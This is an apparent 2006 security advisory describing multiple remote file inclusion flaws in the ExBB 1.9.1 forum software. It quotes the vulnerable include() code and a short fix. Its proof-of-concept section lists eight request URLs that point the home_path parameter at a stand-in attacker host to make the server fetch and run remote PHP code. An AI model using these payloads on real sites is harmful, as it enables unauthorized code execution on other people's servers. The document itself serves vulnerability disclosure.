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ECHO.OR.ID=0D
------------------------------------------------------------------------------=0D
[ECHO_ADV_46$2006] ExBB v1.9.1 (exbb[home_path]) Multiple Remote File Inclusion=0D
------------------------------------------------------------------------------=0D
=0D
Author : Ahmad Maulana a.k.a Matdhule=0D
Date Found : August, 30th 2006=0D
Location : Indonesia, Jakarta=0D
web : http://advisories.echo.or.id/adv/adv46-matdhule-2006.txt=0D
Critical Lvl : Highly critical=0D
Impact : System access=0D
Where : From Remote=0D
---------------------------------------------------------------------------=0D
=0D
Affected software description:=0D
~~~~~~~~~~~~~~~~~~~~~~~~~~~~=0D
ExBB 1.9.1=0D
=0D
Application : ExBB=0D
version : 1.9.1=0D
URL : http://www.exbb.net=0D
=0D
---------------------------------------------------------------------------=0D
=0D
Vulnerability:=0D
~~~~~~~~~~~~~~=0D
=0D
In folder birstday we found vulnerability script birst.php=0D
---------------------------birst.php---------------------------------------=0D
....=0D
=0D
$birstdayconf = array();=0D
include ($exbb['home_path'].'modules/birstday/data/birstday_conf.php');=0D
include ($exbb['home_path'].'modules/birstday/language/'.$exbb['default_lang'].'/lang.php');=0D
=0D
...=0D
----------------------------------------------------------=0D
=0D
Input passed to the "exbb['home_path']" parameter in birst.php is not=0D
properly verified before being used. This can be exploited to execute=0D
arbitrary PHP code by including files from local or external=0D
resources.=0D
=0D
Also affected files :=0D
=0D
./select.php=0D
./profile_show.php=0D
../newusergreatings/pm_newreg.php=0D
../punish/p_error.php=0D
../punish/profile.php=0D
../threadstop/threadstop.php=0D
../userstop/userstop.php=0D
=0D
Proof Of Concept:=0D
~~~~~~~~~~~~~~~=0D
=0D
http://target.com/[exbb_path]/modules/birstday/birst.php?exbb[home_path]=http://attacker.com/inject.txt?=0D
http://target.com/[exbb_path]/modules/birstday/select.php?exbb[home_path]=http://attacker.com/inject.txt?=0D
http://target.com/[exbb_path]/modules/birstday/profile_show.php?exbb[home_path]=http://attacker.com/inject.txt?=0D
http://target.com/[exbb_path]/modules/newusergreatings/pm_newreg.php?exbb[home_path]=http://attacker.com/inject.txt?=0D
http://target.com/[exbb_path]/modules/punish/p_error.php?exbb[home_path]=http://attacker.com/inject.txt?=0D
http://target.com/[exbb_path]/modules/punish/profile.php?exbb[home_path]=http://attacker.com/inject.txt?=0D
http://target.com/[exbb_path]/modules/threadstop/threadstop.php?exbb[home_path]=http://attacker.com/inject.txt?=0D
http://target.com/[exbb_path]/modules/userstop/userstop.php?exbb[home_path]=http://attacker.com/inject.txt?=0D
=0D
Solution:=0D
~~~~~~~=0D
- Sanitize variable $exbb['home_path'] on affected files.=0D
=0D
---------------------------------------------------------------------------=0D
Shoutz:=0D
~~~=0D
~ solpot a.k.a chris, J4mbi H4ck3r thx for the hacking lesson :) =0D
~ y3dips,the_day,moby,comex,z3r0byt3,c-a-s-e,S`to,lirva32,anonymous=0D
~ bius, lapets, ghoz, t4mbun_hacker, NpR, h4ntu, thama, BlueSpy, str0ke=0D
~ newbie_hacker@yahoogroups.com, jasakom_perjuangan@yahoogroups.com=0D
~ Solpotcrew Comunity , #jambihackerlink #e-c-h-o @irc.dal.net=0D
------------------------------------------------------------------------=0D
---=0D
Contact:=0D
~~~~=0D
=0D
matdhule[at]gmail[dot]com=0D
=0D
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